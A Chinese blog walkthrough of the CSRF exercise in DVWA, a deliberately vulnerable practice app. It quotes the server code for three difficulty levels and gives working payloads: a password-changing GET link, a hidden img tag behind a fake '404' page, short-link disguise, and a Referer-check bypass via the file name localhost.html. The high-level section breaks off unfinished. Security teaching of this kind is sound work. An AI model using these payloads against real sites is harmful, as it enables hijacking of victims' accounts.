DVWA之CSRF

参考链接:http://www.freebuf.com/articles/web/118352.html

CSRF(跨站点请求伪造)

CSRF全称Cross-site request forgery,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用

Low级别

服务器核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

mysql_close();
}

?>

服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现)。

实战

0x01

构造payload如下:

1
http://localhost/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

可以看到密码修改成功,这时候admin的密码已经被改为password了
image

这方法是比较低级的,一般人都能看出来链接是修改密码的操作,可以用短网址方法
http://dwz.cn/ (域名为ip的是无法生成短网址的)

需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。

0x02

现实攻击场景下,可以在远程服务器上传一个攻击页面,引诱受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。(因为没有域名,怕被黑客GG,这里不放出本人的服务器ip),在远程服务器写一个hack.html,代码如下:

1
2
3
4
5
<img src="http://localhost/dvwa/vulnerabilities/csrf/?password_new=111111&password_conf=111111&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

这样对方点开后会认为是url失效了,实际上里面的代码执行了(这里我用的火狐浏览器打开的远程文件,在360安全浏览器等等是无法成功执行命令的,因为Cookie);

image

image

可以看到代码执行成功,原来的密码无法登上去了,说明密码已经改为你输入的密码了.

Medium级别

服务器核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php 

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}

mysql_close();
}

?>

可以看到这里增加了eregi()函数,检查保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是localhost),希望通过这种机制抵御CSRF攻击。

### 实战
虽然增加了这个函数,但仍然有办法绕过,将hack.html文件名改为localhost.html(自己的主机名),从而绕过eregi函数,完成一次CSRF攻击,下面抓包分析一下

image

可以看到 referer的localhost与host对应,再回去看DVWA,发现密码被修改了

High级别

服务器核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。
试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击

实战

文章目录
  1. 1. CSRF(跨站点请求伪造)
  2. 2. Low级别
    1. 2.1. 实战
    2. 2.2. 0x01
    3. 2.3. 0x02
  3. 3. Medium级别
  4. 4. High级别
    1. 4.1. 实战
,